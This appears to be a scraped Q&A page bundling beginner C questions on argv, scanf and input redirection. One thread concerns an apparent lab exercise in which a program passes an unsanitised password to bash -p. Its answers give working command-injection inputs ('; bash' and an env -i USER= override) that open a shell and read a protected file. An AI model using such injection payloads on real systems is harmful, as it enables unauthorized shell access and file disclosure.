In netbeans I need to use command line input redirect to make my program scanf a file.
my command line args look like
"${OUTPUT_PATH}" < file.txt
file.txt has the word "Hello" in it
my code looks like:
int main(int argc, char** argv) {
char str[30];
scanf("%s", str);
printf("input: %s\n", str);
return (EXIT_SUCCESS);
}
When I run the program, it compiles fine, but doesn't read in the "Hello"; it appears to be looking for input eternally. This is C, not java
Related
Good afternoon, Old man trying to learn new tricks here,
I have been given an assignment that I am trying to work my way through but I am stuck as I don't fully understand the argv[]
I have 4 files I want to read from and eventually use malloc and realloc but thats further down.
My initial plan was to try read one file and get it onto the command line. I had it opening but made that many changes that now I'm lost.
Think my problem lies with argv[4] as i dont understand it, when I put 4 it goes into theloop and errors but with 1 it just bombs out.
If someone can point me in the direction I am going wrong here it would be great
Thanks
struct Person { char lname[20]; char fname[20]; int id; };
int i, N;
struct Person *student;
int main(int argc, char *argv[])
{
FILE *outputfile;
printf("Please enter the name of the file to open: ");
scanf("%s", argv[4]);
outputfile = fopen(argv[4], "r") ;
if (outputfile==NULL){
perror(argv[1]);
fprintf(stderr,"Error while opeining file\n");
exit(-1);
}
You don't have to use argv[]. Argv is an array of strings that store the arguments passed in when running the executable. If you run the executable like this: ./a.out, then argv only contains one element, which is the path of the executable itself. If you run the program like this, and you try to access argv[4], it does not give you an error, but if you debug it using GDB, it will output the following: warning: Invalid parameter passed to C runtime function.
You could pass in a file on the command line like this: ./a.out yourfile.txt. In this case, argv[0] will be the path of the executable a.out, and argv[1] will be the string "yourfile.txt".
It might be easier to completely drop the use of argv and store the user input for the filename in a string. You can then pass that string as an argument to fopen. This would look something like this:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
char fileName[30];
char ch;
printf("Please enter a file name\n");
scanf("%s", fileName);
FILE *outputFile = fopen(fileName, "r");
if(outputFile == NULL) {
printf("Could not open %s\n", fileName);
exit(-1);
}
}
Use constants (NAME_LEN) instead of hard-coding magic values.
Prefer multiple lines for your struct. It's easier to read and version control systems prefer lines for diffs.
Avoid global variables.
Do a boundary check using argc (count of elements in argv) before you read argv. argv[0] is the name of your program, argv[1] is the first argument.
Treat argv as read-only, i.e. don't do scanf("%s", argv[4]).
Prefer to initialize variables instead of declaring and assigning a value separately. It's easy to forget setting a variable before use which leads ot undefined behavior. Initialization might be faster, too.
Your file handle is called outputfile but with fopen() you use the mode of r for reading. Either mode should be w or you want to change the variable name to inputfile.
#include <stdio.h>
#include <string.h>
#define NAME_LEN 20
struct Person {
char lname[NAME_LEN];
char fname[NAME_LEN];
int id;
};
int main(int argc, char *argv[]) {
char filename[FILENAME_MAX];
if(argc > 4) {
strcpy(filename, argv[4]);
} else {
printf("filename? ");
fgets(filename, FILENAME_MAX, stdin);
filename[strcspn(filename, "\n")] = '\0';
}
FILE *outputfile = fopen(filename, "w");
if(!outputfile) {
// ...
}
fclose(outputfile);
}
and you would run your program with either:
$ ./a.out dummy dummy dummy output.txt
or
$ ./a.out
filename? output.txt
It sounds as if you are expected to provide 4 file names as command line parameters. In which case you should be doing this:
#include <stdio.h>
int main (int argc, char *argv[])
{
const int files = 4;
if(argc != files+1)
{
printf("Usage: myprog file1 file2 file3 file4");
return 0;
}
FILE* fp [files];
for(int i=0; i<files; i++)
{
fp[i] = fopen(argv[i+1], "r");
...
}
...
}
I have a simple program "prog.c" in C:
#include<stdio.h>
int main(int argc, char *argv[]) {
printf("Count: %d\n", argc);
printf("Text: %s\n", argv[1]);
return 0;
}
When I compile the program and run with a .txt file as parameter, the program does not recognize this parameter at all.
I compile with: gcc prog.c
which creates an "a.exe" file.
Then I run the .exe program with .txt file as argument (tried all options below):
a < text.txt
a.exe < text.txt
The output is always
Count: 1
Text: (null)
I am running everything on Win10 and using MinGW for compilation.
You want to check that argv[1] is set before referencing it with:
#include <stdio.h>
int main(int argc, char *argv[]) {
printf("Count: %d\n", argc);
if(argc > 1) {
printf("Text: %s\n", argv[1]);
}
}
Then you would run it like this:
./your_program argument
Count: 2
Text: argument
When you use < test.txt the file test.txt is copied to standard input of the program. You would use, for example, read() or fread() to read said input.
Hi all on stackoverflow
I've changed from codeblocks to netbeans 12.6 writing a simple code:
int main (int argc, char* argv[])
{
int numberOfArguments = argc;
char * Argument1 = argv[0];
char * Argument2 = argv[1];
printf("Number of arguments: %d\n", numberOfArguments);
printf("Argument1 is the program name: %s\n", Argument1);
printf("Argument2 is the command line argument: %s\n", Argument2);
return 0;
}
I know to highlight project, click properties and goto run and open what do I do after that? Everthing I try nothing happens
Thank you in advanvce Frank
I am a little bit stuck. I have a C program which includes the environmental variable $USER. The goal is to use the environmental variable to execute a different file using command injection.
I already tried different ways of declaring USER.
e.g.: Declaring USER as
env USER=">/dev/null ; cat /home/Steve/Public/file2.txt".
Unfortunately, that did not work.
C program:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
// Execute any shell command
void execute(char *cmd)
{
execl("/bin/bash", "bash", "-p", "-c", cmd, NULL);
}
void sanitise(char *password)
{
int i,j;
char tmp[15];
// remove non-alphabet characters from passwords
j=0;
for(i=0; i < 15; ++i)
if(password[i] >= 'a' && password[i] <= 'z') {
tmp[j]=password[i];
++j;
} else break;
tmp[j] = '\0';
strcpy(password, tmp);
}
int authenticate(char *str)
{
char stored_password[15]="";
char pass[15];
char path[128] = "/home/Steve/private/password";
int i;
FILE *fpp;
int auth=0;
fpp = fopen(path, "r");
if(fpp == NULL)
{
printf("Password file %s not found\n", path);
exit(1);
}
fgets(stored_password, 15, fpp);
sanitise(stored_password);
strcpy(pass, str);
sanitise(pass);
if(strcmp(stored_password,pass) == 0)
auth=1;
else {
auth=0;
}
fclose(fpp);
return auth;
}
int main(int argc, char* argv[], char *envp[])
{
char error[256] = "/home/Steve/Public/errormessage.sh $USER ";
char pass[15];
if(argc < 2)
{
printf("Usage: %s password\n", argv[0]);
return 0;
}
// copy only 15 characters from user input, to prevent stack smashing
strncpy(pass, argv[1], 15);
pass[14]='\0';
if(!authenticate(pass)) {
// Log all failed attempts
printf("Wrong password. This incident has been logged.\n");
strcat(error, pass);
execute(error); // Execute script to log events
return 0;
}
// Display 'secret-file2'
execute("cat /home/Steve/Public/file2.txt");
return 0;
}
The goal would be to make the program output the file from the variable USER and not the initial file path declared in the error char. Ideally, without changing the C program at all.
Can anyone please tell me what I am missing here?
If you wish to use your C program with a fresh seted ${USER} variable "env -i" is what you should use.
Example: env -i USER='injected code' name_of_c_program
If that's what the program is doing, it will execute the following command:
/home/Steve/Public/errormessage.sh $USER <provided-password>
Since you control the provided password (that is, you can pass what you want in argv[1] as long as it's max 14 characters), you can just execute another bash shell as well, and then use it to run any command you want. There really is no need to tamper with $USER.
$ ./program '; bash'
Wrong password. This incident has been logged.
$ <--- another bash shell has now started
$ cat /home/Steve/Public/file2.txt
...contents of file2.txt...
If you want to run it with a single command, this should work:
echo 'cat /home/Steve/Public/file2.txt' | ./program '; bash'
Use 'getenv' library function to get the value of environment variable(USER). And then run the command using 'system(path)'.
#include <stdlib.h>
...
char path[256] = "/home/Steve/Public/file1.sh ";
strcat( path, getenv("USER") );
//char path[256];
//sprintf(file,"%s%s","/home/Steve/Public/file1.sh ",getenv("USER"));
...
I am very new to C programming, and have written this C program that takes in an input N, and gives a list of all the numbers up to N that are exactly divisible by 7. The program I have written is as follows;
# include <stdio.h>
int main(){
int c,n,k;
int i=0;
int AnswerList [1000];
printf("Enter the number\n");
scanf("%d", &n);
for (c=1;c<=n;c++){
if(c%7==0){
AnswerList[i]=c;
i++;
}
}
for (k=0;k<=i;k++){
printf("%d\n", AnswerList[k]);
}
return 0;
}
I need my program to run such that if N equals 27, I should be able to type into the command line
./byseven 27
In other words, I need to write code that bypasses the printf line I think. I would appreciate any help.
Thanks a lot.
Use command-line arguments. A simple example:
int main(int argc, char **argv) {
if (argc < 2) {
printf("Usage: %s N\n", argv[0]);
return 0;
}
int N = atoi(argv[1]); // atoi is used to convert a string to an int
// your code
}
You should use int main(int argc, char** argv) definition. Then argc will be number of your params (first param is always the name of your program), and argv is array of string which contains that params. And scanf function is not needed therefore.
gcc -o hello hello.c
It will compile and produced an exectuable file called hello. To run program type:
./hello